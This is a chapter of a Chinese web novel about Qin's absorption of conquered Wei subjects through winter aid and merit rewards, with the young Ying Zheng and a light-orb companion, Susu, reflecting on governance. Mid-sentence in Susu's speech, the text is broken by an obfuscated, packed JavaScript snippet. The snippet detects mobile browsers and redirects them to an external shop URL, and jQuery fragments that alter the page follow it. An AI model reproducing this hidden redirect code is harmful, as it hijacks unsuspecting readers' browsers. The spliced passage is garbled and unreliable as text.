大梁城以西五十里，原属魏，现为秦东郡治下的一个普通里聚。


    里典，一个秦基层小吏，带着两个秦军辅兵，上午刚走。他们没空手来，挨家挨户发了冬衣，是秦军换下的旧棉袄，浆洗得干净，且厚实。又核查了各户火炕是否完好，登记了需要修补的农具。


    老魏人，现在该叫秦人黔首的姜夫，蹲在自家堂屋里。他身上就穿着刚发的秦军旧袄，虽然宽大，但那股久违能够包裹住身体的暖意，让他有些不自在，又舍不得脱下。


    面前是他用了半辈子的旧犁头，木辕已朽，铁刃崩了口。但旁边，放着一把崭新的、形制统一的铁锄头，木柄光滑，刃口在从门口照进的冬日光线里，泛着冷光。


    这是里典按名册发的新农具，说是大王念及东郡新附，特拨的安农之资。一同发下的，还有几片写着奇怪符号，其实是简单象形示意图的木牍，说是教如何堆肥蓄力，来年春耕可增三成。


    姜夫的儿子蹲在旁边，眼巴巴看着新锄头，想摸又不敢。


    “阿父，这秦人的东西，真好。”少年小声说。


    姜夫没吭声，拿起旧犁头，又摸了摸新锄头。冰凉的铁，扎实的木。


    他想起往年这个时候，魏国的税吏早就凶神恶煞地踹过门了，除了催赋，就是拉徭役去修不知道哪位贵人的园囿。


    木炭？想都别想，能留几块门板过年不烧，就是好年景了。


    如今，赋税册子也发了，比魏国时还细，还严，听着都吓人。可除了税，还有衣，有修炕的指导，甚至派了卒子来帮忙，有这新农具，有那教人怎么让地多打粮食的牍子。


    “律法是严，”姜夫终于开口，是对着缩在里屋门口的老妻说的，“动不动就剁手砍脚。可，除了律法，好像还给点别的。”


    他粗糙的手指拂过炕沿，那里是前几日秦军辅兵帮忙重新抹好的泥缝，结实平整。


    “这秦法……”他顿了顿，似乎在寻找合适的词，最终闷闷道，“倒也不全是张牙舞爪，要吃人的虎狼。有点像这炕，硬邦邦的，但躺上去，是热的。”


    同一片天空下，东郡边境戍守的营垒里。


    晚饭刚过，原魏国材士（精锐步兵），现被整编入秦军新东营的伍卒郑，正和几个同乡坐在营房角落里。


    每人手里捧着一个敦实的陶碗，里面是热气腾腾的粟米粥，混着些咸菜梗子，粥面上甚至还飘着几点罕见的油花。


    味道算不上好，但管够，热乎。更重要的是，每人身上，从里到外，都是和旁边那些秦人士卒一模一样的深褐色棉袄，厚实挡风。


    台上，一个脸上带疤的秦人百将在讲话，声音粗豪：“……甭管你以前是魏人、赵人、还是土生秦人，进了这营垒，穿了这身皮，就是大王的兵，军功爵制，白纸黑字，斩敌首一级，赏爵一级，田一顷，宅九亩。一级首级一分功，清清楚楚，没人能贪了你的，也没人能顶了你的。想要地，想要宅，想要你婆娘娃儿过上好日子？敌人脑袋就是硬通货。”


    郑默默地听着，手不自觉摸了摸棉袄的领口。这料子，这厚度，甚至这染色的均匀度，都和他记忆中魏国军中那些将吏家兵才能穿的衣服，没什么两样了。


    不，或许更结实些。


    他想起在魏军时，自己也曾斩获过首级，功劳报上去，如泥牛入海。


    最后分赏，到了他们这些小卒手里，只剩下几枚布币。


    同乡里更有勇悍者，斩首颇多，功劳却被都尉的家奴冒领，申诉无门，反被打个半死，丢出军营。


    “郑哥，”旁边的同乡用胳膊肘碰了碰他，声音压得极低，眼里却有些光，“听着好像是真的。我刚才问那秦人什长，他说他三年前也是普通黔首，凭军功攒到了现在……”


    郑没说话，只是用力咀嚼着口中的粟米。粗糙的颗粒摩擦着牙龈，带来真实的饱腹感。他望向营房外沉沉的夜色，远处秦军哨塔上，风灯在寒风中摇曳。


    在这里，斩首，记功，一视同仁。


    虽然前路未卜，虽然秦法严苛让人心惊。


    但至少这条用命换前程的路，看上去是直的。


    数日后，一份由东郡郡守亲自具名的密报，封入铜匣，快马直送咸阳。


    奏报用语严谨，但核心意思明确：东郡魏民，初时惶恐，然经冬衣、火炕、农具、平价炭粮及明晰军功爵制等事，民情渐稳，耕战之念日增，归附之心初显。


    末尾特别提到：“秦魏之别，民初畏其法之厉，渐感其政之实。虚言空惠，不如一衣一炕之暖也。”


    这份来自东郡的奏报，此刻就摊在嬴政的案头。


    年轻的秦王已经看了三遍。他看得极慢，每一个字都像是在确认。


    殿内很静。苏苏的光球悬在一旁，罕见地没有出声打扰，只是温柔地散发着微光。


    嬴政的手按在竹简上，他抬起头，望向窗外，目光似乎没有焦点。


    许久，他才缓缓地吐出一口气，“寡人本以为，打下魏地，慑服其民，使之不敢反，需十年。驯化其心，使之自认秦人，或需一代人。”


    他顿了顿，似乎在寻找准确的词句。


    “寡人想过刀兵镇压，想过徙民实边，想过以秦律严刑取代魏法松弛，却从未想过，”


    他拿起案边一块备用的蜂窝煤，乌黑，粗糙，沉甸甸，“是这些东西，比寡人的黑冰卫更快，更安静地，磨平了大梁与咸阳之间的界碑。”


    苏苏的光球飘近，“阿政，你给了他们超越期待的东西。在只想活着的时候，你给了温暖和饱腹。在只求不罚的时候，你给了相对公平的机会。对绝大多数挣扎求生的人来说，生活质量的切实提升，就是最好的王道，最无法抗拒的阳谋。”


    她顿了顿：“这就像，嗯，你不再和他们争论谁的王旗更正统，谁的礼乐更高明。你直接给了他们一套全新更优越的生存解决方案。当他们发现，遵循你这套方案，冬天冻不死，干活有奔头，告状有处说，虽然法严了点，但敌人首级能换实实在在的土地宅院，那些旧国的恩怨，贵族的荣光，就忽然变得很遥远，很轻了。”


    嬴政静静地听着，他眼中翻涌着剧烈的思绪，有明悟，有震撼，还有属于十五岁少年突然窥见庞大未来图景的悸动。


    “打天下，需要无坚不摧的锋芒。”苏苏最后总结，语气肯定，“而治天下，尤其是治一个将要吞噬更多天下的大国，需要的，是让所有进来的人，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920885|187915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都渐渐觉得这样，好像也不坏。阿政，你现在……”


    她光球的光芒映亮他线条渐趋硬朗的侧脸。


    “两者都有了。”


    嬴政闭上眼，复又睁开。眸子里那瞬间的迷茫与震动已然沉淀下去，取而代之的是一种更加坚实深邃的确定。


    “寡人曾以为，一天下，必先车同轨，书同文，行同伦。”他缓缓道，“而今方知，在此之前，更需让天下人——”


    他低头看向案上东郡奏报，然后又看向殿外苍茫的夜空，最终落回手中那粗糙的温暖之源。


    “同此冷暖，共此饱饥。”


    “民心归一，非独靠法令之鞭笞，更需靠这……”他再次握紧那块冰冷的蜂窝煤，掌心却仿佛感受到它内蕴足以燎原的热力。


    “靠这能实实在在握在手里的暖意。”


    “与盼头。”


    嬴政放下煤块，对苏苏道：“既如此，传令少府与司农署：今春对韩、赵边境郡县的粮种、新农具优惠换购之策，力度再加三成。不必宣扬德政，只言互通有无。”


    章台宫外的寒风，依旧在呼啸。但殿内少年君王的心中，一片关于如何真正拥有这个天下的新大陆，正在轰鸣中浮出水面。


    那远比刀剑征服的土地，更加辽阔，也更加牢固。


    。。。。。。


    云阳皇庄，阁楼的窗又一次在深夜推开。


    成蟜裹着厚裘，手里捏的不是暖炉，而是一卷今日才送到的《秦事摘要》。


    这是黑冰卫特许他看的，上面用最简练的文字记录着朝堂大事：猗丰车裂，市平曹设立，东郡奏报民心初附。


    他看得很慢，看完一遍，又看一遍。然后走到铜盆边，将之前写满怨怼、猜疑和母亲旧事的纸张，一张张投入炭火。火舌舔舐，纸张扭曲焦黑，化作青烟，就像他以前的理所当然。


    烧完了。


    他静静站了会儿，走到屋角。那里多了张简陋木案，上面摆着几团不同颜色的湿泥，一小罐清水，几根削尖的木签，还有一片光滑的石板。


    他坐下来，就着昏暗的油灯，开始用手指揉捏泥团。指尖传来陌生粗砺的触感，与过往抚弄玉璧丝竹的温润光滑截然不同。


    他脑子里回想的是《摘要》里提到的蜂窝煤孔窍，他试图用木签扎出均匀的孔，但力分不均，泥块塌陷。


    他再次感到一阵熟悉的，属于过往失败的烦躁，几乎想抬手将眼前的一切掀翻，如同他曾摔碎的那些珍宝。


    但他停住了。看着桌上那卷《秦事摘要》，他深吸一口气，将塌陷的泥团拢起，重新注水。


    这一次，他动作更慢，仿佛在驯服一匹陌生的野马，也驯服着自己骨子里的骄矜。


    老内侍无声出现在门口，欲言又止。


    “明日，”成蟜没抬头，“除了《摘要》，若有将作监或骊山学院，非机要的器物图样，或是那苏先生说过的话，整理好的，也寻来。”


    老内侍深深看了他一眼，躬身：“诺。”


    油灯噼啪，映着少年公子专注而孤寂的侧影。他不再咒骂命运，开始沉默地尝试理解那个正在将他远远抛下的世界。危险不在于怨恨，而在于这种专注本身。